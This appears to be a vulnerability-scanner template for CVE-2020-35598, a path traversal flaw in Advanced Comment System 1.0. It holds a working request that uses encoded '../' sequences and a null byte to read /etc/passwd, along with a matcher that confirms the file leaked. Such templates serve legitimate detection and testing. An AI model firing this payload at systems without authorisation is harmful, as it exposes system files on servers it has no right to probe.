id: CVE-2020-35598 info: name: Advanced Comment System 1.0 - Path Traversal author: daffainfo severity: high description: ACS Advanced Comment System 1.0 is affected by Directory Traversal via an advanced_component_system/index.php?ACS_path=..%2f URI. reference: - https://www.exploit-db.com/exploits/49343 - https://www.cvedetails.com/cve/CVE-2020-35598 - https://seclists.org/fulldisclosure/2020/Dec/13 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-35598 cwe-id: CWE-22 tags: cve,cve2020,lfi requests: - method: GET path: - "{{BaseURL}}/advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200